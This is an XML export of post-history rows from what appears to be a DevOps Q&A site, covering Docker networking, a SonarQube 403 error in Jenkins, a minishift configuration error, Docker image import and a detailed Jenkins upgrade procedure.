  <row Id="30170" PostHistoryTypeId="3" PostId="10042" RevisionGUID="69eec0a0-3b63-430d-9d66-8d4fefcacb4c" CreationDate="2019-12-06T17:59:29.487" UserId="18557" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30171" PostHistoryTypeId="2" PostId="10043" RevisionGUID="06ba14e3-96e6-4877-b656-34282a190350" CreationDate="2019-12-06T18:21:02.653" UserId="189" Text="I'd add https://opensource.com/ (from Redhat) and the O&quot;reilly Newsletter related to Infrastructure and Ops : https://conferences.oreilly.com/infrastructure-ops/io-ca " ContentLicense="CC BY-SA 4.0" />
  <row Id="30172" PostHistoryTypeId="2" PostId="10044" RevisionGUID="8bfefecb-9e53-42e6-a193-198b76a6d281" CreationDate="2019-12-06T20:17:17.657" UserId="3062" Text="These are really the pitfalls as running a VM or traditional server with 32 CPUs.  Most notably is memory addressing.  32 bit CPUs can only access up to 4 gigs of memory.  This isn't something i would expect most containers have an issue with as they should be single, small, light applications.  One thing that you might run into is any binary built targeting specifically 64 bit architecture will not be able to run.  This is any application and their DLLs.  I don't think any web API will have issues with this, you will need to be aware of console applications.  Most dot net applications target `any cpu` allowing the runtime to target the correct underlying architecture.  There are applications that do target specific architectures and you will need to be aware of which ones they are.&#xD;&#xA;&#xD;&#xA;In today's world, storage space is cheap.  The exception to this rule is embedded development (but I don't think that is the case here).  You need to ask yourself, is the extra 4% saved space worth the cost of me managing and ensuring that all the applications i'm running work on a 32 bit architecture.  Remember 32 bit applications will run on 64 bit architecture, but not the other way around.  Unless there is a specific need to only run 32 bit, like testing an emulated embedded environment (which is only 32 bit), I would just go with the 64 bit versions of everything.  To me, using 32 bit is solving a problem you don't actually have." ContentLicense="CC BY-SA 4.0" />
  <row Id="30196" PostHistoryTypeId="2" PostId="10045" RevisionGUID="4b5a8773-e65a-4ed5-9748-b0e210ecd937" CreationDate="2019-12-07T01:14:58.410" UserId="6131" Text="You are not accessing the hosts network interface information. Rather you are receiving data of the bridge adapter created for your Docker Containers Network.&#xD;&#xA;&#xD;&#xA;Please note the results from my web server:&#xD;&#xA;&#xD;&#xA;Container networking info:&#xD;&#xA;&#xD;&#xA;    # docker exec -it ghost sh&#xD;&#xA;    /var/lib/ghost # ifconfig&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 02:42:AC:12:00:02  &#xD;&#xA;              inet addr:172.18.0.2  Bcast:172.18.255.255  Mask:255.255.0.0&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:20 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:1536 (1.5 KiB)  TX bytes:0 (0.0 B)&#xD;&#xA;&#xD;&#xA;Host network info:&#xD;&#xA;&#xD;&#xA;    root@li293-xxx:/data/mydomain.us# ifconfig&#xD;&#xA;    br-08d99d9f172e: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500&#xD;&#xA;        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255&#xD;&#xA;        inet6 fe80::42:57ff:fe74:c49b  prefixlen 64  scopeid 0x20&lt;link&gt;&#xD;&#xA;        ether 02:42:57:74:c4:9b  txqueuelen 0  (Ethernet)&#xD;&#xA;        RX packets 150  bytes 16535 (16.5 KB)&#xD;&#xA;        RX errors 0  dropped 0  overruns 0  frame 0&#xD;&#xA;        TX packets 234  bytes 21425 (21.4 KB)&#xD;&#xA;        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0&#xD;&#xA;&#xD;&#xA;    docker0: flags=4099&lt;UP,BROADCAST,MULTICAST&gt;  mtu 1500&#xD;&#xA;        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255&#xD;&#xA;        ether 02:42:82:3d:17:63  txqueuelen 0  (Ethernet)&#xD;&#xA;        RX packets 0  bytes 0 (0.0 B)&#xD;&#xA;        RX errors 0  dropped 0  overruns 0  frame 0&#xD;&#xA;        TX packets 0  bytes 0 (0.0 B)&#xD;&#xA;        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0&#xD;&#xA;&#xD;&#xA;    eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500&#xD;&#xA;        inet 66.xxx.xxx.205  netmask 255.255.255.0  broadcast 66.xxx.xxx.255&#xD;&#xA;&#xD;&#xA;Please review the networking documentation at https://docs.docker.com/v17.09/engine/userguide/networking/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30197" PostHistoryTypeId="2" PostId="10046" RevisionGUID="72b19fd7-d64c-4cff-9fdd-728f55bd771d" CreationDate="2019-12-07T02:13:16.330" UserId="6131" Text="In the error message you presented your system is reporting port 443 is already in use. You need to confirm which ports you have in use for other services.&#xD;&#xA;&#xD;&#xA;&gt; listen tcp 0.0.0.0:443: bind: address already in use&#xD;&#xA;&#xD;&#xA;For what it is worth I recommend you use a nginx reverse proxy. Please reference https://stackoverflow.com/questions/46195852/how-to-run-gitlab-in-docker-container-with-nginx-proxy-over-ssl-with-letsencrypt for further details." ContentLicense="CC BY-SA 4.0" />
  <row Id="30198" PostHistoryTypeId="2" PostId="10047" RevisionGUID="aee9063e-205f-44df-a5b2-3db3ca205940" CreationDate="2019-12-07T02:31:51.787" UserId="6131" Text="I would recommend you use their Google Cloud Secrets Engine. Documentation is here: https://www.vaultproject.io/docs/secrets/gcp/index.html&#xD;&#xA;&#xD;&#xA;Managing such sensitive secrets by any means other than a Vault service is dangerous. " ContentLicense="CC BY-SA 4.0" />
  <row Id="30199" PostHistoryTypeId="5" PostId="10042" RevisionGUID="72b0939b-36b7-41d9-a875-49dec6c9ffb6" CreationDate="2019-12-07T05:45:57.180" UserId="18557" Comment="added 289 characters in body" Text="Today I pull an image from the Internet, and I found that the docker networking mode can be detected in the image's startup script.&#xD;&#xA;But docker0  only exists in the host  not the container. Why?&#xD;&#xA;Dockerfile&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:18.04&#xD;&#xA;&#xD;&#xA;RUN apt-get update \&#xD;&#xA;    &amp;&amp; apt-get install -y  net-tools   \&#xD;&#xA;    &amp;&amp; apt-get clean &amp;&amp; rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ADD test/ /etc/test/&#xD;&#xA;&#xD;&#xA;RUN chmod +x  /etc/test/*.sh&#xD;&#xA;&#xD;&#xA;CMD [&quot;/bin/bash&quot;, &quot;/etc/test/start.sh&quot;]&#xD;&#xA;```&#xD;&#xA;start.sh&#xD;&#xA;```&#xD;&#xA;set -e&#xD;&#xA;&#xD;&#xA;# check for presence of network interface docker0&#xD;&#xA;check_network=$(ifconfig | grep docker0 || true)&#xD;&#xA;&#xD;&#xA;# if network interface docker0 is present then we are running in host mode and thus must exit&#xD;&#xA;if [[ ! -z &quot;${check_network}&quot; ]]; then&#xD;&#xA;	echo &quot;[crit] Network type detected as 'Host', this will cause major issues, please stop the container and switch back to 'Bridge' mode&quot; | ts '%Y-%m-%d %H:%M:%.S' &amp;&amp; exit 1&#xD;&#xA;fi&#xD;&#xA;```&#xD;&#xA;I run it with  `docker run --privileged  --net=host`" ContentLicense="CC BY-SA 4.0" />
  <row Id="30200" PostHistoryTypeId="5" PostId="10042" RevisionGUID="e8a7fb86-5605-4a0f-9e81-1f28454119f7" CreationDate="2019-12-07T05:54:54.607" UserId="18557" Comment="added 146 characters in body" Text="Today I pull an image from the Internet, and I found that the docker networking mode can be detected in the image's startup script.&#xD;&#xA;But docker0  only exists in the host  not the container. Why?&#xD;&#xA;Dockerfile&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:18.04&#xD;&#xA;&#xD;&#xA;RUN apt-get update \&#xD;&#xA;    &amp;&amp; apt-get install -y  net-tools   \&#xD;&#xA;    &amp;&amp; apt-get clean &amp;&amp; rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ADD test/ /etc/test/&#xD;&#xA;&#xD;&#xA;RUN chmod +x  /etc/test/*.sh&#xD;&#xA;&#xD;&#xA;CMD [&quot;/bin/bash&quot;, &quot;/etc/test/start.sh&quot;]&#xD;&#xA;```&#xD;&#xA;start.sh&#xD;&#xA;```&#xD;&#xA;set -e&#xD;&#xA;&#xD;&#xA;# check for presence of network interface docker0&#xD;&#xA;check_network=$(ifconfig | grep docker0 || true)&#xD;&#xA;&#xD;&#xA;# if network interface docker0 is present then we are running in host mode and thus must exit&#xD;&#xA;if [[ ! -z &quot;${check_network}&quot; ]]; then&#xD;&#xA;	echo &quot;[crit] Network type detected as 'Host', this will cause major issues, please stop the container and switch back to 'Bridge' mode&quot; | ts '%Y-%m-%d %H:%M:%.S' &amp;&amp; exit 1&#xD;&#xA;fi&#xD;&#xA;```&#xD;&#xA;I run it with  `docker run --privileged  --net=host` will get &#xD;&#xA;&#xD;&#xA;    [crit] Network type detected as 'Host', this will cause major issues, please stop the container and switch back to 'Bridge' mode" ContentLicense="CC BY-SA 4.0" />
  <row Id="30201" PostHistoryTypeId="5" PostId="10042" RevisionGUID="9ef41ca1-2f8f-4251-bc34-3017db820524" CreationDate="2019-12-07T06:14:28.800" UserId="18557" Comment="added 11 characters in body" Text="Today I pull an image from the Internet, and I found that the docker networking mode can be detected in the image's startup script.&#xD;&#xA;But docker0  only exists in the host  not the container. Why?&#xD;&#xA;Dockerfile&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:18.04&#xD;&#xA;&#xD;&#xA;RUN apt-get update \&#xD;&#xA;    &amp;&amp; apt-get install -y  net-tools   \&#xD;&#xA;    &amp;&amp; apt-get clean &amp;&amp; rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ADD test/ /etc/test/&#xD;&#xA;&#xD;&#xA;RUN chmod +x  /etc/test/*.sh&#xD;&#xA;&#xD;&#xA;CMD [&quot;/bin/bash&quot;, &quot;/etc/test/start.sh&quot;]&#xD;&#xA;```&#xD;&#xA;start.sh&#xD;&#xA;```&#xD;&#xA;#!/bin/sh&#xD;&#xA;set -e&#xD;&#xA;&#xD;&#xA;# check for presence of network interface docker0&#xD;&#xA;check_network=$(ifconfig | grep docker0 || true)&#xD;&#xA;&#xD;&#xA;# if network interface docker0 is present then we are running in host mode and thus must exit&#xD;&#xA;if [[ ! -z &quot;${check_network}&quot; ]]; then&#xD;&#xA;	echo &quot;[crit] Network type detected as 'Host', this will cause major issues, please stop the container and switch back to 'Bridge' mode&quot; | ts '%Y-%m-%d %H:%M:%.S' &amp;&amp; exit 1&#xD;&#xA;fi&#xD;&#xA;```&#xD;&#xA;I run it with  `docker run --privileged  --net=host` will get &#xD;&#xA;&#xD;&#xA;    [crit] Network type detected as 'Host', this will cause major issues, please stop the container and switch back to 'Bridge' mode" ContentLicense="CC BY-SA 4.0" />
  <row Id="30213" PostHistoryTypeId="2" PostId="10048" RevisionGUID="68d33887-49e9-4156-a7ad-552f861f9e1b" CreationDate="2019-12-07T14:41:22.977" UserId="18007" Text="I have a pipeline job which keeps failing on Sonar Quality Gate stage with the below error:&#xD;&#xA;&#xD;&#xA;[Bitbucket] Build result notified&#xD;&#xA;org.sonarqube.ws.client.HttpException: Error 403 on http://illinXXXX:XXXXX/api/qualitygates/project_status?analysisId=XXXXXXXX&#xD;&#xA;    at org.sonarqube.ws.client.BaseResponse.failIfNotSuccessful(BaseResponse.java:34)&#xD;&#xA;I'm able to enter the link and see the projectStatus, so I don't understand the reason for the failure.&#xD;&#xA;&#xD;&#xA;Sonarqube version: 6.7.1 (build 35068).&#xD;&#xA;&#xD;&#xA;The auth token is configured in the global Jenkins settings." ContentLicense="CC BY-SA 4.0" />
  <row Id="30214" PostHistoryTypeId="1" PostId="10048" RevisionGUID="68d33887-49e9-4156-a7ad-552f861f9e1b" CreationDate="2019-12-07T14:41:22.977" UserId="18007" Text="Sonarqube stage in jenkins pipeline fails with 403 error" ContentLicense="CC BY-SA 4.0" />
  <row Id="30215" PostHistoryTypeId="3" PostId="10048" RevisionGUID="68d33887-49e9-4156-a7ad-552f861f9e1b" CreationDate="2019-12-07T14:41:22.977" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30216" PostHistoryTypeId="5" PostId="10048" RevisionGUID="c4f5a65b-2656-4f28-baa3-544813e06cb8" CreationDate="2019-12-07T15:03:00.873" UserId="18007" Comment="added 16 characters in body" Text="I have a pipeline job which keeps failing on Sonar Quality Gate stage with the below error:&#xD;&#xA;&#xD;&#xA;    [Bitbucket] Build result notified&#xD;&#xA;    org.sonarqube.ws.client.HttpException: Error 403 on http://illinXXXX:XXXXX/api/qualitygates/project_status?analysisId=XXXXXXXX&#xD;&#xA;        at org.sonarqube.ws.client.BaseResponse.failIfNotSuccessful(BaseResponse.java:34)&#xD;&#xA;    I'm able to enter the link and see the projectStatus, so I don't understand the reason for the failure.&#xD;&#xA;&#xD;&#xA;Sonarqube version: 6.7.1 (build 35068).&#xD;&#xA;&#xD;&#xA;The auth token is configured in the global Jenkins settings." ContentLicense="CC BY-SA 4.0" />
  <row Id="30217" PostHistoryTypeId="50" PostId="1458" RevisionGUID="43316594-f0e9-4b88-a56d-d340ec93ae15" CreationDate="2019-12-07T18:02:50.483" UserId="-1" />
  <row Id="30218" PostHistoryTypeId="2" PostId="10049" RevisionGUID="d8334054-3d94-4ea4-8398-558bbab28973" CreationDate="2019-12-07T20:51:39.123" UserId="210" Text="According to [@earcam][1] one can run a `docker inspect &lt;id&gt;` to check whether an image contains a CMD. If one builds a docker image using the provided packer snippet in the Q&amp;A, imports it and subsequently runs a `docker inspect 1127c20077ef | grep -i cmd`, the CMD has not been set:&#xD;&#xA;&#xD;&#xA;    &quot;Cmd&quot;: null,&#xD;&#xA;&#xD;&#xA;According to [@Greendrake][2] when has to set the context when importing an image by defining `--change 'CMD [&quot;somecommand&quot;]'`&#xD;&#xA;&#xD;&#xA;    docker import --change 'CMD [&quot;bash&quot;]' image.tar&#xD;&#xA;&#xD;&#xA;and subsequently issue an:&#xD;&#xA;&#xD;&#xA;    docker inspect b604fa244510 | grep -A3 -i cmd&#xD;&#xA;            &quot;Cmd&quot;: [&#xD;&#xA;                &quot;bash&quot;&#xD;&#xA;            ],&#xD;&#xA;&#xD;&#xA;Once the image has been imported and docker run is issued a shell is opened:&#xD;&#xA;&#xD;&#xA;    docker run -it b604fa244510&#xD;&#xA;    root@69df4b3f48a2:/#&#xD;&#xA;&#xD;&#xA;instead of&#xD;&#xA;&#xD;&#xA;    docker run -p 21:21 -it --rm 02163a32f3b7&#xD;&#xA;    docker: Error response from daemon: No command specified.&#xD;&#xA;    See 'docker run --help'.&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/questions/757210/no-command-specified-from-re-imported-docker-image-container#comment1247323_797619&#xD;&#xA;  [2]: https://serverfault.com/a/797619/215599" ContentLicense="CC BY-SA 4.0" />
  <row Id="30219" PostHistoryTypeId="50" PostId="9357" RevisionGUID="4f4e0fee-4525-49c4-b94c-ebf1c436aaa1" CreationDate="2019-12-07T21:01:30.133" UserId="-1" />
  <row Id="30220" PostHistoryTypeId="19" PostId="447" RevisionGUID="0a7df280-14bf-4fe4-85ce-4ae4c5ad7e47" CreationDate="2019-12-07T22:05:39.517" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30221" PostHistoryTypeId="2" PostId="10050" RevisionGUID="34813ae4-80b3-4beb-a8cf-abf76f7c74be" CreationDate="2019-12-07T22:12:20.577" UserId="210" Text="    minishift start&#xD;&#xA;&#xD;&#xA;was issued and openshift started:&#xD;&#xA;&#xD;&#xA;    Login to server ...&#xD;&#xA;    Creating initial project &quot;myproject&quot; ...&#xD;&#xA;    Server Information ...&#xD;&#xA;    OpenShift server started.&#xD;&#xA;    &#xD;&#xA;    The server is accessible via web console at:&#xD;&#xA;        https://192.168.42.37:8443/console&#xD;&#xA;    &#xD;&#xA;    You are logged in as:&#xD;&#xA;        User:     developer&#xD;&#xA;        Password: &lt;any value&gt;&#xD;&#xA;    &#xD;&#xA;    To login as administrator:&#xD;&#xA;        oc login -u system:admin&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    -- Exporting of OpenShift images is occuring in background process with pid 32067.&#xD;&#xA;&#xD;&#xA;At a certain moment, the laptop ran out of free disk space. Once this issue was solved, an attempt was done to restart the minishift, but all commands return:&#xD;&#xA;&#xD;&#xA;    Error creating config for VM: Invalid JSON" ContentLicense="CC BY-SA 4.0" />
  <row Id="30222" PostHistoryTypeId="1" PostId="10050" RevisionGUID="34813ae4-80b3-4beb-a8cf-abf76f7c74be" CreationDate="2019-12-07T22:12:20.577" UserId="210" Text="How to solve `Error creating config for VM: Invalid JSON` in minishift?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30223" PostHistoryTypeId="3" PostId="10050" RevisionGUID="34813ae4-80b3-4beb-a8cf-abf76f7c74be" CreationDate="2019-12-07T22:12:20.577" UserId="210" Text="&lt;openshift&gt;&lt;minishift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30224" PostHistoryTypeId="5" PostId="10050" RevisionGUID="c71e3ff1-86a9-4812-8d9d-b038b54f58fa" CreationDate="2019-12-07T22:21:44.363" UserId="210" Comment="added 185 characters in body" Text="    minishift start&#xD;&#xA;&#xD;&#xA;was issued and openshift started:&#xD;&#xA;&#xD;&#xA;    Login to server ...&#xD;&#xA;    Creating initial project &quot;myproject&quot; ...&#xD;&#xA;    Server Information ...&#xD;&#xA;    OpenShift server started.&#xD;&#xA;    &#xD;&#xA;    The server is accessible via web console at:&#xD;&#xA;        https://192.168.42.37:8443/console&#xD;&#xA;    &#xD;&#xA;    You are logged in as:&#xD;&#xA;        User:     developer&#xD;&#xA;        Password: &lt;any value&gt;&#xD;&#xA;    &#xD;&#xA;    To login as administrator:&#xD;&#xA;        oc login -u system:admin&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    -- Exporting of OpenShift images is occuring in background process with pid 32067.&#xD;&#xA;&#xD;&#xA;At a certain moment, the laptop ran out of free disk space. Once this issue was solved, an attempt was done to restart the minishift, but all commands return:&#xD;&#xA;&#xD;&#xA;    Error creating config for VM: Invalid JSON&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;1. It turned out that a minishift process was still running. Killing this process and subsequently run `minishift status` returned the same issue.&#xD;&#xA;2. `sudo systemctl restart libvirtd` did not solve the issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="30225" PostHistoryTypeId="5" PostId="10050" RevisionGUID="c7c68fb9-a44d-4b13-b2ff-708d5f4d55f6" CreationDate="2019-12-07T22:29:35.310" UserId="210" Comment="added 159 characters in body" Text="    minishift start&#xD;&#xA;&#xD;&#xA;was issued and openshift started:&#xD;&#xA;&#xD;&#xA;    Login to server ...&#xD;&#xA;    Creating initial project &quot;myproject&quot; ...&#xD;&#xA;    Server Information ...&#xD;&#xA;    OpenShift server started.&#xD;&#xA;    &#xD;&#xA;    The server is accessible via web console at:&#xD;&#xA;        https://192.168.42.37:8443/console&#xD;&#xA;    &#xD;&#xA;    You are logged in as:&#xD;&#xA;        User:     developer&#xD;&#xA;        Password: &lt;any value&gt;&#xD;&#xA;    &#xD;&#xA;    To login as administrator:&#xD;&#xA;        oc login -u system:admin&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    -- Exporting of OpenShift images is occuring in background process with pid 32067.&#xD;&#xA;&#xD;&#xA;At a certain moment, the laptop ran out of free disk space. Once this issue was solved, an attempt was done to restart the minishift, but all commands return:&#xD;&#xA;&#xD;&#xA;    Error creating config for VM: Invalid JSON&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;1. It turned out that a minishift process was still running. Killing this process and subsequently run `minishift status` returned the same issue.&#xD;&#xA;2. `sudo systemctl restart libvirtd` did not solve the issue&#xD;&#xA;3. [@tm1701][1] suggested `minishift delete --clear-cache`, but that does not solve the issue either&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/52025920/2777965" ContentLicense="CC BY-SA 4.0" />
  <row Id="30226" PostHistoryTypeId="2" PostId="10051" RevisionGUID="69715014-464a-4470-8cbe-3407b6c0daba" CreationDate="2019-12-07T22:33:23.207" UserId="210" Text="One option to solve this issue is a suggestion as provided by [@AndreasGajdosik][1], i.e. deleting the `.minishift` directory.&#xD;&#xA;&#xD;&#xA;Once `rm -rf ~/.minishift` was issued and `minishift status` was run, the issue has been solved:&#xD;&#xA;&#xD;&#xA;    user@host$ minishift status&#xD;&#xA;    Does Not Exist&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/51889996/2777965" ContentLicense="CC BY-SA 4.0" />
  <row Id="30227" PostHistoryTypeId="19" PostId="1293" RevisionGUID="710c8d9b-7f53-4f6f-bfc1-bb6fb758ef68" CreationDate="2019-12-07T22:47:36.260" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30228" PostHistoryTypeId="4" PostId="9991" RevisionGUID="d58f589c-72a6-483a-81b2-529717c35d49" CreationDate="2019-12-07T23:00:51.503" UserId="210" Comment="edited title" Text="How to run a CMD in a docker container that was created using Packer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30233" PostHistoryTypeId="5" PostId="10048" RevisionGUID="1ff5e1af-8d18-4f9f-b606-ca9509105a63" CreationDate="2019-12-08T07:25:18.020" UserId="18007" Comment="added 213 characters in body" Text="I have a pipeline job which keeps failing on Sonar Quality Gate stage with the below error:&#xD;&#xA;&#xD;&#xA;    [Bitbucket] Build result notified&#xD;&#xA;    org.sonarqube.ws.client.HttpException: Error 403 on http://illinXXXX:XXXXX/api/qualitygates/project_status?analysisId=XXXXXXXX&#xD;&#xA;        at org.sonarqube.ws.client.BaseResponse.failIfNotSuccessful(BaseResponse.java:34)&#xD;&#xA;&#xD;&#xA;I'm able to enter the link and see the projectStatus, so I don't understand the reason for the failure.&#xD;&#xA;I tried the below solutions, but it didn't help:&#xD;&#xA;&#xD;&#xA;[JENKINS-48540][1]&#xD;&#xA;&#xD;&#xA;[github][2]&#xD;&#xA;&#xD;&#xA;Sonarqube version: 6.7.1 (build 35068).&#xD;&#xA;&#xD;&#xA;The auth token is configured in the global Jenkins settings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-48540&#xD;&#xA;  [2]: https://github.com/adnovum/sonar-build-breaker/issues/25" ContentLicense="CC BY-SA 4.0" />
  <row Id="30235" PostHistoryTypeId="5" PostId="9749" RevisionGUID="48424ea2-e3d7-43c3-9fa9-b7f5efaf7dcc" CreationDate="2019-12-08T12:10:09.233" UserId="13379" Comment="damn auto complete" Text="Not to take away from @vaporwave_sailor or @Alex, answers, but to add to..&#xD;&#xA;&#xD;&#xA;The basic answer is **you MUST upgrade the war first, then the plugins.** All plugins depend on a minimum Jenkins version and the [Update Centre][1] will give you different information back.&#xD;&#xA;&#xD;&#xA;If you don't upgrade often, use the [LTS version][2]. **READ the [Upgrade Guide][3]. READ the [Changelog][4]. Re-READ the [Upgrade Guide][3]**. Do the same for all your **core plugins**. There are **significant changes**, especially around security which may require modifications on your part. Many previously bundled are no longer bundled. Long unsupported plugins may have better alternatives or contain security issues you should be aware of. Behaviors and settings may change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The following are NOT exact steps, rather things to do in the process. Descriptive, not prescriptive.&#xD;&#xA;&#xD;&#xA;Consider installing the Jenkins [Configuration as Code (JCasC) plugi][5]n to your existing installation first. That will generally let you export almost your entire configuration and simply reload into a new instance. Much easier, but does not handle plugins. For now rip a solution from [docker/install_plugins.sh][6] for local use; see [Preinstalling Plugins][7].&#xD;&#xA;&#xD;&#xA;Take a backup of your existing Jenkins and install install a &quot;Dev&quot; location. Validate your upgrade there before applying to Prod. ALWAYS. (Also, regularly backup your Prod anyway).&#xD;&#xA;&#xD;&#xA;Split the backup in two parts, the system configuration and the jobs. Jobs are in ${JENKINS_HOME}/jobs. The system configuration includes (in `${JENKINS_HOME}`),  `./*.xml ./secret.key* ./secrets ./security-tokens ./nodes` , possibly others.&#xD;&#xA;&#xD;&#xA;Back to the plugins for a minute. I agree w/adding them in segments:&#xD;&#xA;&#xD;&#xA; - Authentication plugins&#xD;&#xA; - Presentation plugins (eg:Active-directory, credentials)&#xD;&#xA; - SCM plugins (eg: Git)&#xD;&#xA; - Adminstrative plugins (eg: greenballs, windows-slaves)&#xD;&#xA; - Tools plugins (eg: ant, maven-plugin)&#xD;&#xA; - Pipeline plugins (eg: workflow-aggregator, Blue-Ocean, K8s) &#xD;&#xA;&#xD;&#xA;All the above are &quot;Global plugins, with Configurations&quot;&#xD;&#xA;&#xD;&#xA; - Finally, job step plugins; these are job specific.&#xD;&#xA;&#xD;&#xA;If using the install_plugins.sh approach, you only need worry about the highest level plugin as it will pull the dependencies. If you install blueocean, it installs some 25 plugins. Just specify the first and you get the rest. Bear in mind, install_plugins.sh is dynamic, in that it gets the available dependencies at the time. So, we decide on the top list, manage that, run once to get the complete list, then read the validated explicit list into the Prod instance (manage the short one, use the complete one, save both). We manage 55 top-level plugins, but there are 160 installed including all dependencies in the full list.&#xD;&#xA;&#xD;&#xA;This groovy script will get you your existing plugins:&#xD;&#xA;&#xD;&#xA;    Jenkins.instance.pluginManager.plugins.sort(false) { a, b -&gt; a.getShortName().toLowerCase() &lt;=&gt; b.getShortName().toLowerCase()}.each { plugin -&gt;&#xD;&#xA;       println &quot;${plugin.getShortName()}:${plugin.getVersion()} | ${plugin.getDisplayName()} &quot;&#xD;&#xA;    }&#xD;&#xA;       // the following may also be useful&#xD;&#xA;       // println &quot;+++ ${plugin.getDependants()}&quot;&#xD;&#xA;       // println &quot;... ${plugin.getDependencies()&quot;&#xD;&#xA;&#xD;&#xA;In the Dev instance, install the war, install the plugins, create a file `${JENKINS_HOME}/init.groovy`, add the line:&#xD;&#xA;`Hudson.instance.doQuietDown();`. That lets your system start without letting any [jobs start][8]. That way you can examine the system logs w/o panicking or getting confused. Look at everything before `INFO: Jenkins is fully up and running`.&#xD;&#xA;&#xD;&#xA;Now, you can install the system configurations, but not the `./jobs` and not the `./nodes`. Start it up and **check the logs** for information, warning alerts and errors. &#xD;&#xA;&#xD;&#xA;You might even want to start with your existing war version and existing plugins and basic config, fire that up and save the logs as references. Then, using the UI, upgrade the war, then restart, then the plugins using the UI, then restart, then check and save the logs as references.&#xD;&#xA;&#xD;&#xA;If using JCasC, you may go w/a slim install of the configurations,then import your JCasC configurations. [JCasC usage here][9].&#xD;&#xA;&#xD;&#xA;*NB: You will notice one major change is more plugins are moving to their own xml configuration instead of adding to the master config.xml. There are many plugins especially that say this configuration is NOT backward compatible. You would have to restore the old config when &quot;downgrading&quot; (correct language - start again from step 1)&#xD;&#xA;&#xD;&#xA;Only once your core system starts fine, then I would add the jobs (with `QuietDown()` in place ), no nodes and in QuiteDown. Start up again, examine logs for errors, upgrade warnings, etc. Deal w/those. Many plugins will change their data format, hence the many warnings you see, and the [&quot;Manage Old Data&quot;][10]. IF you're truly paranoid, you may even write a little groovy script that finds all your jobs and re-saves them. While Jenkins knows of the configuration changes, it does not actually change and update the plugin references in the jobs until the job is run or saved (if you need a script, ask a separate question).&#xD;&#xA;&#xD;&#xA;Shutdown, delete the jobs directory (this is your DEV instance, so you are OK). &#xD;&#xA;&#xD;&#xA;Startup up again and create a small set of validation jobs. These validate all the steps of your real jobs but without impacting them. They are the &quot;test cases&quot; @Alex refers to. We use &quot;sampleApps&quot; of different flavors we have and jobs that cover all the steps. We have test jobs that just get on a node, dump the environment, jobs that clone a repo and build (in the flavors), one that does the whole cycle: clone, build analyze, test, deploy, as well as pipeline jobs (phased). You can now add the nodes configuration and startup and execute those. **They are your validation**. If they work, then you are as prepared as you can be. You can now export the JCasC configuration as well.&#xD;&#xA;&#xD;&#xA;Now, delete the entire Dev instance and **REDO** using only your finalized configuration and steps as you documented. Did everything work as expected? Run JCasC again, did they match?&#xD;&#xA;&#xD;&#xA;Now you can apply the same finalized configuration to your Prod. Shutdown Production and TAKE ANOTHER BACKUP. I'd add the `QuietDown()` first to Prod. &#xD;&#xA;&#xD;&#xA;Finally, consider taking advantage of some new &quot;[System Properties][11]&quot;. You can now set locations outside of ${JENKINS_HOME} for `jenkins.model.Jenkins.buildsDir` (ps: sym-links in builds are [now optional][12]) and `jenkins.model.Jenkins.workspacesDir`, removing useless data from the ${JENKINS_HOME}. Your backups will be smaller and simpler and your system performacne may improve! You'll also want to set `jenkins.install.runSetupWizard` to false.&#xD;&#xA;&#xD;&#xA;Remember, this is descriptive, not preservative. Tailor to your own needs and risk tolerance.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkins-infra/update-center2/tree/master/site&#xD;&#xA;  [2]: https://jenkins.io/download/&#xD;&#xA;  [3]: https://jenkins.io/doc/upgrade-guide&#xD;&#xA;  [4]: https://jenkins.io/changelog-stable&#xD;&#xA;  [5]: https://plugins.jenkins.io/configuration-as-code&#xD;&#xA;  [6]: http://docker/install_plugins.s&#xD;&#xA;  [7]: https://github.com/jenkinsci/docker#preinstalling-plugins&#xD;&#xA;  [8]: 